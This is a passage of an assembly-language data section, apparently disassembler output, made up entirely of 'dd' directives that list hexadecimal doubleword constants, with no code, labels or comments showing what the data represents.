		dd 3D26D6B9h, 14640D31h, 17233Eh, 0AF89788Fh, 61C32AE8h
		dd 0CBB1F860h, 485E7561h, 1BF82108h, 0AA6C008Ch, 162A5C15h
		dd 892632D4h, 0E8417E95h, 106204F1h, 8BF9CE25h,	45BD2B82h
		dd 61728208h, 903EFA19h, 4D42124h, 0A8181CF1h, 6D862100h
		dd 735DE762h, 8F0F27FDh, 88222EEBh, 7EF86201h, 70B05FDh
		dd 0C9822BA0h, 5F610034h, 1531BD31h, 488D306h, 0DAB08027h
		dd 87A1DF6Ch, 0DD7891F7h, 0E04EA64Bh, 20CF0B5h,	0A226D616h
		dd 9EA458DAh, 0BF0F4536h, 3B0A7008h, 27DDBD0Ch,	608922CDh
		dd 8B03D770h, 1C69E17h,	54FB8615h, 15405914h, 24A707BEh
		dd 9B01635h, 7B063D61h,	0B52B8820h, 0D9175B4Dh,	0F9EC03EAh
		dd 0B757C392h, 0BE3901B1h, 71D3A9B8h, 4156F27h,	72CEBC59h
		dd 0AC2105D6h, 0E8628077h, 0DB9B4A05h, 0BBCC4E84h, 3898DF10h
		dd 8564045h, 2D299D89h,	2D505F0Eh, 0C82A0452h, 0AB004D10h
		dd 88A506F7h, 84CD85h, 0E0D65862h, 757016EEh, 2C5E0F39h
		dd 5A1F0531h, 5D080CB5h, 9C0CA002h, 0DE562C40h,	0C5E04350h
		dd 0CF9D055Fh, 0B85BFAF0h, 2C8D7BB1h, 0F6331021h, 5083B801h
		dd 0C5B4F4ACh, 2CF23020h, 7BB1A89h, 72183DF7h, 0B7570442h
		dd 1B5D00C3h, 7AECDDBFh, 2EAF270Ah, 0F108C09Dh,	8B0F0914h
		dd 0D6863971h, 20D6F77Eh, 8CD018C9h, 8C1BB83Eh,	0C321700h
		dd 0BF5AD058h, 0DBC9D2C2h, 8C9C802Bh, 26CB612Ch, 0BA46CE7h
		dd 0D8F9279Dh, 0B8622E10h, 3FC72501h, 0A66018C4h, 58EA5FB4h
		dd 916497h, 512DDEE3h, 84AFBDBCh, 0B712C400h, 18A385FEh
		dd 89A005D6h, 651029B5h, 0C8E3CA98h, 4770CB14h,	4906B134h
		dd 0BF669701h, 0DA89F3F7h, 0E54F3125h, 0AEE61740h, 14470D65h
		dd 0C8A895C8h, 1C55A18Dh, 0BB812B38h, 491533A9h, 98C80505h
		dd 73A71455h, 5601AC4h,	2700A4DCh, 81318729h, 3432C6D1h
		dd 8E82192Bh, 0C017C85Ch, 0B4DD571Ah, 0C2A9B0C9h, 873755EAh
		dd 0BD21A100h, 0FE9A9762h, 0D00A33DAh, 4DDA0BEEh, 0AAD73CE4h
		dd 33E06EF6h, 160A4247h, 0AAA863FCh, 11151D09h,	0F81301C6h
		dd 2669CA10h, 69BD0B29h, 5184B0B5h, 20AAC047h, 0E6161C9Bh
		dd 0DDFEBF01h, 6A1C695h, 5891DEDCh, 0CD156A90h,	4E50771Ah
		dd 0B41D4875h, 0CED8658Bh, 0C0E74D9Dh, 0D9C197EFh, 8734B574h
		dd 4D40D65Fh, 82346C09h, 0FE29005Ch, 49A9DE07h,	26A1E75h
		dd 0FDE828Fh, 5ABF2252h, 86F39AA2h, 0F22AB269h,	0C2E17B41h
		dd 5DA7E903h, 0B7B86137h
		dd 0A6BE426h, 922AED0Ah, 1512A048h, 5CA9E137h, 8693DEA2h
		dd 48535A8Dh, 5CE9CC8Fh, 5550956h, 0FD4DE129h, 53AC1DC0h
		dd 0A7FC76F6h, 601D4482h, 5869DFF3h, 4793487h, 8AF7D595h
		dd 846EBFC5h, 7E020E48h, 461F3091h, 0C9F197E1h,	0B82D6DC0h
		dd 0F42BB43Ch, 110ECD21h, 2008AD8Ah, 5FAD462Bh,	21C93BDDh
		dd 0C8C0CE2Fh, 8D5C11Ah, 87F2E802h, 8D0F3016h, 0ECB9F420h
		dd 95E246Dh, 29650B7Bh,	9B5D604Ah, 4DE4FF00h, 2950BBF0h
		dd 0BA3E860h, 3B7CA3E4h, 33A4B800h, 1D73A3Dh, 237C170Bh
		dd 0C0269493h, 846E0F28h, 60590533h, 0D485F2C5h, 7FBFCC80h
		dd 291B1C27h, 0C6E06761h, 2FC00EE8h, 0AB77DD40h, 3D860071h
		dd 7EBA2C6Fh, 171F7DCh,	344BBD73h, 0AD500FE2h, 492B4609h
		dd 28E9AC8Fh, 798133A2h, 0A6AC4EC6h, 5FECF2A4h,	0F3DE2F09h
		dd 831D0BDCh, 0FC0390A7h, 0C8225AE4h, 15E7010Fh, 104F0CD7h
		dd 0C73080B1h, 87AC51FDh, 48BB0E9Ah, 5B65256Eh,	4C5E6B90h
		dd 0D1951775h, 5123C7F1h, 5D3019E2h, 0A2B80131h, 0BD0951ECh
		dd 4AC962C5h, 0E5F0C3E6h, 87708261h, 7BD88327h,	0DB810000h
		dd 17ADA160h, 9393CE97h, 0A0BB58AFh, 0B7BF7500h, 50C4D285h
		dd 942FE38Dh, 0EB6F89h,	8BD19653h, 9D286D9Dh, 21B253CBh
		dd 0FE1FF07h, 2130DFBFh, 3F88AA5h, 8E288D45h, 9F683B80h
		dd 7100975Fh, 527555DAh, 5E7CD66h, 17CB314Eh, 13E813Ch
		dd 6A5B0024h, 0A8379502h, 7A86331Ch, 9DB01B74h,	0C83A96EBh
		dd 0EE5040F5h, 91E092FEh, 181BD1EEh, 0F01A01B8h, 7479257Bh
		dd 61182010h, 4782E1AAh, 0C05A3145h, 14E520h, 3EF4DF81h
		dd 6E9769Bh, 0FBE20E4Bh, 440D0C4h, 0AEC28CB7h, 8FCB2E1Dh
		dd 48E97811h, 4DF462ACh, 86E2DD00h, 666CF3E8h, 0A7DB01F7h
		dd 6263EED7h, 30F30CDh,	1058C48h, 0D8A8BA60h, 882B04C9h
		dd 49029CCCh, 0E1098422h, 0B2E44861h, 0EF505C5Eh, 16C20422h
		dd 4D90F9CDh, 4666E0B0h, 9D287D0Dh, 7520F6B9h, 0CB810033h
		dd 2898D51Ah, 2E95FF64h, 0A2DB1332h, 0B1979F80h, 0C40AF623h
		dd 0FE8615B4h, 6089108h, 2E258964h, 0F45DBCh, 49A7ADBAh
		dd 2DFE8FCBh, 3622F124h, 27079908h, 1FE8CFE4h, 3018248h
		dd 28FD5C96h, 7566C2A6h, 17912335h, 0ED76B881h,	84886A43h
		dd 47BC00F3h, 0F48AF105h, 7F1376BAh, 0EB0ACF29h, 465C75FFh
		dd 2B720019h, 4D8E92DCh, 0FFD9288Bh, 661A40DCh,	74F4BB12h
		dd 246D7206h, 30FE45FBh, 26403170h, 0C44098B0h,	18270512h
		dd 0A8219578h, 0B570E6CAh, 0C4562590h, 0BF171400h, 9F015FF9h
		dd 71E43CBEh, 0D2CC381Fh, 2845ED4Ah, 0F97836C8h, 890BB678h
		dd 4C24C99Dh, 716CD455h, 0C18B6C63h, 51E1262Dh,	30F9BD7Eh
		dd 0F7D921A9h, 0C84F2BE2h, 5AD1D7F4h, 98A626E9h, 0A19E85F8h
		dd 0C9953184h, 90D227EBh, 1371BD03h, 7E76CB5h, 0B6C4E8E1h
		dd 0B115E0B8h, 0D40D8AD1h, 3850F936h, 0D0D09320h, 806119D8h
		dd 4154E9FEh, 0C2A1BD64h, 29C65929h, 0DF02BDE5h, 1FC23803h
		dd 8488CB5Ch, 0A5A8BC34h, 0B2FE4A1Ah, 0C14600CDh, 0AF80DA7Ah
		dd 10CDA9A1h, 0B0BB606Eh, 9600CEC5h, 6255C966h,	281657Fh
		dd 3C9D35E7h, 765C5B7Eh, 0C9B58D40h, 903998D2h,	5DDB1C1Bh
		dd 6AED2D6Ah, 0F0F855C2h, 0A2C69522h, 50EDD981h, 6B7B9E2h
		dd 41F2CFB5h, 42D550A2h, 107BFC98h, 4CECA70h, 62F268Dh
		dd 90CA8CADh, 1F5A300h,	0E8DBEA55h, 26B5040Eh, 0E6FC2487h
		dd 0E945E042h, 79B05BFh, 1C369055h, 382690D7h, 27B4EB8h
		dd 601B5001h, 76D22BF9h, 0FEF444h, 15BBA9F8h, 4D060743h
		dd 0D1C233ADh, 0C0D05E4Ah, 0FCF47567h, 0B5209AB0h, 880D270Bh
		dd 0EED83AF3h, 87080040h, 8B894126h, 17413195h,	258179DEh
		dd 9CD89EC2h, 1DC849Ch,	868D2E1Fh, 21D3E941h, 70CBDD6Eh
		dd 18E4C228h, 8C10337h,	65F59B8Eh, 0ABBD5819h, 0C5ED9A52h
		dd 5E0983B8h, 7E33683Fh, 4D0D4066h, 0BDF263CBh,	0B1AE7A00h
		dd 800F8214h, 82229903h, 75BD23DAh, 0D8C0D2EAh,	75821885h
		dd 0E998C584h, 4C45EC52h, 13225B51h, 80918AECh,	1966425h
		dd 5EE80BBAh, 26D99336h, 0C7800756h, 4D128D03h,	0D04AF34Eh
		dd 0BA1F590Eh, 2516E799h, 60044F01h, 57DE1FFh, 74029BB8h
		dd 9D29501Ah, 0A227D8ADh, 44776280h, 39BD14F7h,	0F4DEA509h
		dd 0B531C165h, 7CC1040Eh, 195822C9h, 14AA8101h,	0A49F0D27h
		dd 60496786h, 69C33F6Dh, 2D91A8CFh, 0C79902DAh,	1519BD0Bh
		dd 68DA4A89h, 0C3DCC297h, 1281F6C9h, 0B604E180h, 9334E1E4h
		dd 0B716E06Ah, 0C90ADF18h, 820131E6h, 192D9660h, 0B18585C2h
		dd 0B529020Bh, 337CA2C4h, 0CF287127h, 5E8840A9h, 0F33B9ED6h
		dd 92695C0Fh, 42817CBCh, 0E4313C3Eh, 700075E3h,	0D445B81Ah
		dd 10C97Bh, 58353A2Bh, 52509083h, 0E00E2590h, 0A5310F34h
		dd 0B1810359h, 813B585Ah, 288B8351h, 1097249Ah,	0CBECB992h
		dd 0FE73BE69h, 417770h,	0C03B5568h, 28939761h, 78169CF0h
		dd 0FCB81CCAh, 46A0A38Eh, 0F1B4B07Eh, 50EE8B13h, 957AC8h
		dd 54DBF690h, 4F45B5D7h, 1B7E3307h, 0C9703786h,	388CBC8Ah
		dd 5F805BCCh, 63243481h, 1C4DD57Bh, 2AABC06h, 84B0BF14h
		dd 6C700B76h, 0A0FE0541h, 0C706F95Bh, 0B0F204ADh, 81324078h
		dd 140E39B2h, 2B85A302h, 121E0BBh, 35592E95h, 2E799E75h
		dd 0B654286h, 902DCB2Eh, 0D22385F0h, 0D994303Bh, 9D0042CCh
		dd 228DF298h, 7091D2A0h, 251D91C7h, 0DE0692B7h,	7F8049F6h
		dd 18BB80D5h, 2C1BF21Eh, 8B27B5CDh, 8613DB6Ah, 975CC90Fh
		dd 0D282E04Ah, 74830DD9h, 0D080CCDh, 1A719Dh, 0F456D781h
		dd 892C5C4Eh, 5DE3606h,	0EB270659h, 142682EEh, 4012FC29h
		dd 0EC97343Fh, 0AD74F400h, 6688F071h, 0A81C129Bh, 9BED6541h
		dd 8EB5CAFAh, 0B707461Fh, 4695022h, 70A8F94Eh, 20FFCE87h
		dd 0AF23B868h, 2D930A00h, 209F7F4h, 87F509D1h, 52BB5FFh
		dd 84F7C398h, 6D4C38h, 36599269h, 0F31C34h, 766825E0h
		dd 0BBA7F4F7h, 1625D8F4h, 0A66581Ah, 582A0C89h,	34E508B5h
		dd 52308D12h, 4E952360h, 0F0004A1h, 0FE31FB81h,	61002D41h
		dd 3374BF90h, 1B78402Eh, 0A479F91Eh, 88C995FEh,	8D941FA6h
		dd 5E618BF9h, 4D31DC03h, 29A586F5h, 6385C701h, 0FC2B6535h
		dd 67134084h, 0B9E16657h, 0C3C39B3Eh, 4821E940h, 4510FB13h
		dd 30500A27h, 441CE30Ch, 0E8C101C3h, 700ED610h,	254C7E02h
		dd 15215803h, 0BB36EBE7h, 8764C036h, 1BC6C23Dh,	28682950h
		dd 58191821h, 57A10113h, 8B13381Bh, 0E0A9E6C0h,	125D4F0Fh
		dd 0C43627ABh, 19BC0859h, 82DF8189h, 0E047B1C4h, 0B906B910h
		dd 0FD81490Ah, 3F04A485h, 7D808DDEh, 48124783h,	0C212FAE0h
		dd 0DD30B0D9h, 3C8F680Bh, 0B3806DB5h, 0EB2E158Ch, 0E824B8C7h
		dd 5E5903C5h, 49018D9Fh, 9CF61321h, 0F03B27B5h,	68011823h
		dd 0DFB1FB66h, 9A757D20h, 646D9D9Eh, 66E2FDC0h,	0F603051Dh
		dd 0EB9FB8E4h, 27173108h, 2D63EFD8h, 561FB50Dh,	0F3F1A6B9h
		dd 0A5023073h, 55C7B3CBh, 3A04520Dh, 1581BE9Bh,	70A92E03h
		dd 1BD311F9h, 4920C8h, 0CEFC93ABh, 6ECD776Fh, 0F2C82B09h
		dd 0E8859B96h, 80A855h,	8CEAEC6Dh, 65564482h, 85DFFF04h
		dd 57E8E94Ah, 455F8B3Ch, 64F59665h, 359305E3h, 255AB20Dh
		dd 0D0117B23h, 2001A875h, 17768216h, 0BD4AFC01h, 0CE6A5Fh
		dd 0C9122A4h, 14163741h
		dd 0C5677D9Fh, 9194074h, 0A2B501ECh, 4841854Fh,	5A8689BBh
		dd 0B035B7C4h, 0B030C6Bh, 6705B597h, 7AA6F706h,	3A122AE3h
		dd 208D37D8h, 830B1049h, 90E904C2h, 3E677Bh, 0E39B2B8Fh
		dd 89DB726Fh, 31205006h, 98AF7985h, 0CFC1132Ah,	0BC65B9ABh
		dd 176B0794h, 8010DEDCh, 0BE02BB66h, 8029E848h,	79A75DF3h
		dd 7F470006h, 9E744FB0h, 2CC16001h, 0F8BF15A9h,	4834AFD8h
		dd 86255F61h, 9529D6A1h, 1E892E35h, 7492E2Ch, 0E105B693h
		dd 64CC05C9h, 95890B85h, 9ECE23E1h, 0A83DE49Dh,	0E2F2E729h
		dd 0B70F0B2Fh, 11925BDEh, 0DCFA5Eh, 7540B26h, 0E78877C4h
		dd 5D558790h, 886F1AEFh, 59CDC116h, 80706CFFh, 0ADE321CFh
		dd 0DD1E06F6h, 0EC971BF5h, 0EF1D0925h, 0C52B414Eh, 75ECD817h
		dd 1653634Dh, 31230B19h, 0EB5F49FDh, 5B27A54Eh,	76D7C0F0h
		dd 2FD4112h, 2923A6FBh,	0B4F8198Dh, 8D90964Fh, 4FE3BF66h
		dd 88738339h, 7DB45384h, 0CD9698Bh, 4625A6D9h, 3008D2B6h
		dd 32649A84h, 811C2B3Eh, 8F71D240h, 1547BFC4h, 0AF23C750h
		dd 0F26F9A63h, 174D298Dh, 0AF8B49E1h, 0DB50E546h, 1040D5BDh
		dd 805C9EE8h, 0D3233C30h, 1A02358Ch, 16DD598Bh,	85F682A5h
		dd 5B5149B1h, 5812E48h,	0C21BF8F7h, 56E8D47Dh, 40A07BBFh
		dd 1C002647h, 0DE0BC045h, 0AB74385h, 0E124F729h, 31F508EDh
		dd 57350210h, 0F76EAA35h, 4D96D701h, 20137666h,	2295C183h
		dd 6A81859Fh, 70FFF352h, 0AF5CEA61h, 0FA60DE6h,	0C6C11D8Eh
		dd 85C70685h, 0ADC0E1C9h, 4000CF10h, 0C96C8C5Ch, 49BD3313h
		dd 7B0E9AEDh, 0AD37FFF3h, 0ABB842h, 436DA10Fh, 519D0B1Fh
		dd 26561B5Fh, 6EB977ADh, 4EC4C580h, 965D0470h, 0BCFB8B6Bh
		dd 30E0D465h, 0BB500D59h, 97802DC2h, 245E1350h,	74E00FA6h
		dd 0DE0DBB92h, 442745D0h, 7B86E3Fh, 0EB309D2Ah,	0B71D7261h
		dd 6A82232Fh, 5C4687B0h, 2CDC8D00h, 0C83AA411h,	5B9C27CBh
		dd 7AD5C810h, 0CF6A9600h, 0EE5ED03Ch, 0E52E5B24h, 550FD9Bh
		dd 0F93109ABh, 0A4007859h, 8F2D8406h, 8AF8A0h, 0E0AEBB4Ch
		dd 53678D6h, 61267A12h,	723C66F1h, 504A1020h, 570E8120h
		dd 0FF4400F1h, 2B6BD8A4h, 0B70A9C17h, 0B0421558h, 0B0737A7h
		dd 0C9C0AC2Ah, 66802F4Dh, 2FC77281h, 324D6AB7h,	0C8F031E1h
		dd 1754FCF8h, 7A6AFA86h, 30600065h, 5D971B4h, 0DA791253h
		dd 242AA04Dh, 97DD8A80h, 456D46BAh, 87F03660h, 0F87C091Eh
		dd 4579865Eh, 30656EB1h, 29D1FF00h, 0E285B527h,	51245CE6h
		dd 4D801578h, 5A6A8BDFh, 0E01EB602h, 3994B62h, 0FEE49C76h
		dd 0B0BCA394h, 601650D1h, 0BAACC68Ah, 0EC299D7Ch, 23700D5Bh
		dd 0BBFB0020h, 3529052Fh, 290EE95h, 3D73DB17h, 8D0F6961h
		dd 57008E79h, 0E7DCF381h, 94906CAAh, 0FCEFF4Bh,	5950DF10h
		dd 1273BC45h, 35E88E0Eh, 0AD570AA7h, 6A0C00E7h,	0E5B2985Dh
		dd 4A880402h, 0C63DC91Eh, 0D2F90343h, 0B79314D0h, 1715A7B0h
		dd 66F5D609h, 0AC32795Fh, 83FADE2Ah, 0F3239C01h, 50A252B9h
		dd 0C7BF112Bh, 7724205Eh, 9C0485A1h, 356B829Dh,	568419BDh
		dd 0E90FC53h, 325B7016h, 15E2F8E6h, 902D2130h, 0EDD2FEBh
		dd 4D6B0251h, 27EE47F0h, 0EF0009C7h, 0E9775B26h, 7CF3B8C2h
		dd 2F09D7C6h, 0FF56BBF2h, 0C0CDB05Bh, 0E99D1123h, 0E8B52F2Fh
		dd 698C0FACh, 0CB182F10h, 9000D9Ah, 0A589BE98h,	4BD7DFC1h
		dd 7BF09816h, 0BF600140h, 0F20B53C1h, 0A65218F5h, 0EEFC3Fh
		dd 61BD4696h, 15AD506Ah, 446F4500h, 0A3F6286Dh,	0E1B0FA43h
		dd 54CBF481h, 4770E604h, 70784B2h, 8D8571E4h, 33FEC0C5h
		dd 815B3B68h, 0D2D92720h, 0E72302F0h, 0DDEC6EB4h, 0BDCFB075h
		dd 5F2C4075h, 76138C97h, 370117CFh, 2A5FB3BAh, 1EB0EAB5h
		dd 70F3C569h, 5853118h,	2FFC8AEBh, 0C5BF1A00h, 2D7E1709h
		dd 48E6860Fh, 198ADB12h, 930124F1h, 2B010331h, 803228C8h
		dd 0DD515CCAh, 8508039Eh, 72E1534Dh, 810FF1F8h,	0C37F28A4h
		dd 0E15B2E25h, 5A171B45h, 6F4A40E1h, 3E03F773h,	2529D59Fh
		dd 55ACA9FFh, 0B8E280E8h, 61654526h, 93276EE5h,	5E305D62h
		dd 1197485Dh, 0E1126BC5h, 25A5F965h, 173250C9h,	0FEC8464h
		dd 0AF9F81C5h, 90CF6C20h, 0DF9800E0h, 510BC924h, 357BE212h
		dd 59195600h, 5FEDDE23h, 2250FBE9h, 3831C468h, 0F7CE29BDh
		dd 88834B58h, 75143F60h, 0CE098144h, 7961ABBAh,	0FF281479h
		dd 0D10879C6h, 0FE25A550h, 9E175EACh, 21A28952h, 0B1BD230Bh
		dd 30978558h, 81DB776Dh, 8D7CDE29h, 0E8A96A97h,	0CC09B6BCh
		dd 79A4ED51h, 82F8AD6Fh, 179BB924h, 0C1894DA5h,	0F486962Eh
		dd 19629A0Ah, 8057DB54h, 46AE799h, 7A8B975Fh, 0C967737h
		dd 9C802ABh, 84A2E195h,	0F07BC02Bh, 771170h, 0FE9983CFh
		dd 0F07563F7h, 0A8DCBA4Dh, 0C9008C1Ah, 7B578847h, 530F3562h
		dd 0BB09F987h, 4F7999F3h, 0DCA5FCEBh, 28413712h, 0A192304h
		dd 98556009h, 208D2B66h, 0F82D03D1h, 19EB761h, 1197FFEDh
		dd 9B202F7Dh, 69852960h, 9C0277ADh, 61052601h, 0F86250A3h
		dd 855E84CCh, 50D2D3EBh, 90009CE2h, 6C58B897h, 974A3755h
		dd 31838495h, 90EA595h,	1BD9BDA9h, 46C44B79h, 0BCD88B44h
		dd 66049217h, 0E71229B9h, 5F9A5E1Ah, 0AD50A88Ch, 0EC312240h
		dd 0FF33406Dh, 0C20FE13Fh, 0B235124Fh, 2B6D89F9h, 4CB72Ah
		dd 82C006A8h, 0FC09C170h, 0D9842F14h, 0D06A00E7h, 0BD1CFE9Ch
		dd 184B0ABAh, 453223CEh, 7960F587h, 2DBE2425h, 0D7FB8658h
		dd 0E058A6A1h, 2E43ACADh, 0DE4960CCh, 0C47BBA27h, 0DC650029h
		dd 14D11384h, 0B5FA8862h, 24F524Ch, 5F26B8DFh, 274E5E5Bh
		dd 0C0CF04EDh, 0E1E465CDh, 0C6A4031Dh, 0DDBD0BD2h, 0FA0412BCh
		dd 76BC3557h, 12C4B34Ah, 5CF433B7h, 0B537BA4Ch,	0D0274DB7h
		dd 2ADD259Ch, 0C39278EEh, 0D3BEB09h, 95797A5Bh,	0B740096Fh
		dd 9F5B8DF5h, 7190A461h, 0B3680021h, 0FDE65001h, 0B8E92DF9h
		dd 0FDF500A7h, 4F628587h, 354EB796h, 3D4CA20h, 0ABE09Fh
		dd 9033A958h, 79D19EC4h, 3843780Eh, 0F6A45782h,	192507EBh
		dd 259D3368h, 0B212FBBFh, 0EECCB2A0h, 0F8402DEBh, 594AE8C2h
		dd 6D698D54h, 69A1C3A0h, 0DB5EC790h, 0F976FC2Fh, 9B130EB7h
		dd 0B9772BC0h, 6518C2CEh, 97EB8A3h, 455C8210h, 78665B69h
		dd 0B30790A8h, 1CCE9EAh, 780AD309h, 0DA38D586h,	13DE97F1h
		dd 8D4B0FBCh, 0B8BC2977h, 3BD20F12h, 304B1B7h, 0C18ABCBCh
		dd 35952B60h, 97612734h, 0A2E0699Ah, 9A972E31h,	0DCFBDE45h
		dd 564F2201h, 0D593F24Eh, 0B9F35A81h, 66068982h, 0F851F34Fh
		dd 4CCC8D5h, 52488483h,	2520EBDBh, 7C0368Dh, 5879F1D2h
		dd 1FD583F7h, 6C76A990h, 2C17FB09h, 0AD637BC2h,	33EA735h
		dd 0EA781AB0h, 0D3D60960h, 6C78AABBh, 0D65148h,	0BF505BFFh
		dd 5F5A979Fh, 0A963132Fh, 76B6BC24h, 6CA86FE8h,	0BC5E8004h
		dd 0D970D882h, 62D21668h, 0C1C4D37h, 6753043h, 0A7C3D98Ah
		dd 612D0A40h, 0FB01282Fh, 0F9457078h, 0D5969B97h, 543720FAh
		dd 84055A1Fh, 9DD85601h, 30025B2h, 0AC0A2EB2h, 3D168496h
		dd 1BD4A695h, 0A40332A2h, 0C70D4059h, 5FDF60EBh, 5D94C0C0h
		dd 3538F612h, 5BD58E4Ch, 37F9375Fh, 4D502F50h, 0C2972DF2h
		dd 20D66165h, 4C3418DCh, 0D86E58BDh, 0E50BE125h, 0B456A5B2h
		dd 0B60F12DCh, 90CCE261h, 0E3885A13h, 0D5C60381h, 5AA0DA9Ah
		dd 217120E2h, 1F67F304h
		dd 96EEBEBCh, 6E806E9Ah, 8658B2FDh, 0E7D22605h,	8E34940Dh
		dd 0B0C53098h, 9DAB26FEh, 2E01DE57h, 0C005740Ch, 282F94CBh
		dd 2389E7DFh, 103A1DF5h, 0D4B3E07Bh, 8D29271Ch,	36B20392h
		dd 16B16BD6h, 0F08980FBh, 6202A650h, 0F4C500F6h, 5CB9D5AFh
		dd 9C3BDAEEh, 5F6912E8h, 0A04BC1F3h, 0DB1E8130h, 1E92DF7Ah
		dd 6A5EDDE7h, 1BE70076h, 517EAB9h, 85C50001h, 0BB6644B7h
		dd 0B597360Ch, 811B91A1h, 0E1BB654Ah, 1277ADD0h, 0B99D897Bh
		dd 0F96063Ch, 0B0310488h, 0B90B4C83h, 9DCDBF7Ch, 0CE32E0CEh
		dd 0FBF385h, 0A8B7F9BFh, 27F78023h, 0BB4DFA6h, 96F700DEh
		dd 7C550BADh, 4D05EEF9h, 0DDBD332Eh, 160447D5h,	89B9309Dh
		dd 183D1980h, 0CC2DC160h, 0EAFE66CAh, 5BA725E3h, 3109E9E6h
		dd 0D130258Dh, 0FFDE6B88h, 13BE2D4h, 748D8466h,	6816D044h
		dd 0B753804Bh, 2DB6DD39h, 9DCC48A7h, 0E612D225h, 0DCF096D3h
		dd 0AA88E403h, 0B57D0A39h, 5831D5C2h, 0A1605BDFh, 8100C2B6h
		dd 13FA82E1h, 0A1615F54h, 51707E09h, 3C73CB4h, 2E7A3DF3h
		dd 75B89E82h, 32000C4Ch, 0C4204663h, 40699529h,	0AC9C5F08h
		dd 5E6519E2h, 0C3800EFAh, 0E45081CDh, 8A9707AAh, 0DE70F5h
		dd 0D52A9569h, 7BE5B396h, 0F5203178h, 29510919h, 0F6C1919Dh
		dd 20373A5Bh, 0A105F9E5h, 72A9B886h, 2932A3ECh,	5E15680Bh
		dd 9CF34B51h, 21AAD70h,	8885D5D3h, 9A4CA2E5h, 9860298Dh
		dd 0F6EC0C26h, 76FA2F4Ch, 0E67EB2A9h, 913100F4h, 0EE0EBBE1h
		dd 965F5401h, 30106B2h,	626023DBh, 4CFA4050h, 7CED964Ah
		dd 75598150h, 81E0BAAEh, 5F82253Ch, 8B2240ECh, 8D891606h
		dd 4B72E82Dh, 0F3100CDh, 3D44922Dh, 5E0209E4h, 0E77943A8h
		dd 53279C4Fh, 318FD061h, 25FDDA4Ch, 9364D8h, 132B47F2h
		dd 8E98F92Eh, 44CCDB03h, 0CCFA91E8h, 6E4EB8E9h,	0FB9B0024h
		dd 9D8B2E94h, 7E055821h, 88468BE4h, 8248C018h, 0DD4BF7A8h
		dd 0EA68EACDh, 3756E35Ch, 0ED3015E2h, 2F6A62Ah,	9286BCA4h
		dd 7AE2E2A0h, 0CD2A995Ch, 6D01BA97h, 54C960E6h,	754F9D09h
		dd 0F6B85FC4h, 522F6BA2h, 349213EFh, 0D3D8B9E1h, 4B804DDAh
		dd 86A6648Eh, 0C862D402h, 5EF5F303h, 0CA3725D7h, 69276400h
		dd 0BD11BBFh, 4DF6FACCh, 0BA007644h, 50EC1351h,	4EB70F3Fh
		dd 0C80A9EF9h, 8C7CC514h, 0EA16AA4Bh, 0CFFC0CBAh, 32D61A07h
		dd 1BD220B5h, 89174BFAh, 0EFED81BDh, 0AC915476h, 0F2371CE9h
		dd 0B58942FFh, 1741A9Dh, 50887B69h, 5001869Ah, 0F10AFC9h
		dd 81150682h, 425155Fh,	0F0D608BCh, 0DC3B3231h,	486E4E50h
		dd 0D6CC0D0Eh, 0F853F143h, 890F4415h, 0B97E98AEh, 48168405h
		dd 0D5C1AC61h, 0C0111E09h, 0EA7F3005h, 8A90EE0Ah, 8E294AFEh
		dd 4B518280h, 2FF64D26h, 864FB6FEh, 90CE5741h, 4CB2E02Ah
		dd 67C82619h, 0F11403B8h, 8DBA8922h, 3BBA5F21h,	0A151E204h
		dd 8A9D2BC3h, 3DA8F529h, 530E9302h, 0E10CD380h,	3C70D1ADh
		dd 392FE1E1h, 2AB00962h, 6D80C09Bh, 0E26EF24Bh,	26AB916h
		dd 9B00696Fh, 0E780A5B6h, 0BF709088h, 0C0951E7Ch, 8B0C87F0h
		dd 27982B2h, 0F1EE9066h, 5E4CAD66h, 63104172h, 0D86C09A2h
		dd 18B9463h, 0FD050B7Dh, 20A3EE17h, 6539E963h, 0E738A55Bh
		dd 61520873h, 50A9534Bh, 8625BFFEh, 538D50E3h, 5005221h
		dd 4904846Fh, 2D0EBDDAh, 0AF79EEh, 0E1B9301Bh, 0F88F1758h
		dd 53098C5Bh, 0B3719497h, 533458E4h, 0D912BE00h, 29A74BE0h
		dd 2471208Dh, 84C69050h, 5F5639A0h, 54872EE3h, 0C0CE4DE9h
		dd 6F762ABCh, 41BFEF00h, 3353A3E0h, 19F54A9Dh, 0C285E461h
		dd 12A47329h, 6A9CF1F9h, 1CC85F8Fh, 21B27CC0h, 16EDF8E8h
		dd 0A83E89D9h, 0F1222036h, 97195DD8h, 35BDA996h, 0C7A10696h
		dd 0A52D5451h, 0F2DEAE2Fh, 6AC845BBh, 0B830BDFFh, 0DD79005Ch
		dd 8FF3876h, 0C953D2Ch,	5A0FBBF1h, 0A25A5681h, 4A7300F6h
		dd 0CCE66517h, 0AFB52EE1h, 0BEBD123Eh, 2900367Bh, 84A7B252h
		dd 0BB041E7Ch, 6E5B3666h, 5088D0BDh, 718C0F89h,	0FED08470h
		dd 138F1B0h, 6C70E65Eh,	71E41243h, 81050708h, 9545EBBFh
		dd 0BC482F4Dh, 0CAE4A724h, 60734A00h, 0DE4ECA92h, 26810952h
		dd 0B27816ABh, 0EA3CDBEEh, 0E43B25E2h, 0AC2964B3h, 0B122C804h
		dd 83A43458h, 0D1AFCB81h, 0D22B2AF8h, 9257D8CBh, 2DF141C7h
		dd 4054BBAEh, 0B3DE9184h, 5A46AD03h, 0A023F555h, 1F02F80h
		dd 9D18BA6h, 2B28C58Dh,	58195D8h, 912F36C3h, 197C14Dh
		dd 0D8D82B25h, 0AD709Dh, 0E6710BA9h, 26C26950h,	324E9610h
		dd 0E195C263h, 9D233904h, 9DBC2469h, 0F69E6298h, 0E95AF225h
		dd 0BA140B9Dh, 822E4989h, 55093185h, 57D9649Ah,	8660A700h
		dd 74DFF07Eh, 0FEB8EA4Ch, 476E074h, 0CDBDBA05h,	887EBC2Ch
		dd 11E4AD4Fh, 0AD613603h, 0F8F4259Ch, 15F2368h,	2C8B1F0Bh
		dd 42C49D56h, 3D2818FEh, 44EDF180h, 771B5EBh, 0B31E34E8h
		dd 48A8A06Dh, 2E051A16h, 0A583F9E2h, 5FE5B0Bh, 8D08DFC7h
		dd 89319D01h, 0A57933EDh, 0EB8142h, 29519D8Bh, 0FC2E9Ch
		dd 38096DB7h, 0DA368798h, 7DB52909h, 0C7BB5F2Fh, 38F99DE1h
		dd 93B91F99h, 69424DE4h, 0EC090535h, 91E192DBh,	8083203Bh
		dd 0FE2C932Dh, 0F4000649h, 77474EA5h, 6EFC5BB5h, 88C007F1h
		dd 89492BD6h, 5061CA58h, 9FD2F6C8h, 0EFC00A6Dh,	48F109F4h
		dd 71109CC6h, 788F4B1Bh, 1FEF8101h, 2D7B4C98h, 21EB8BFh
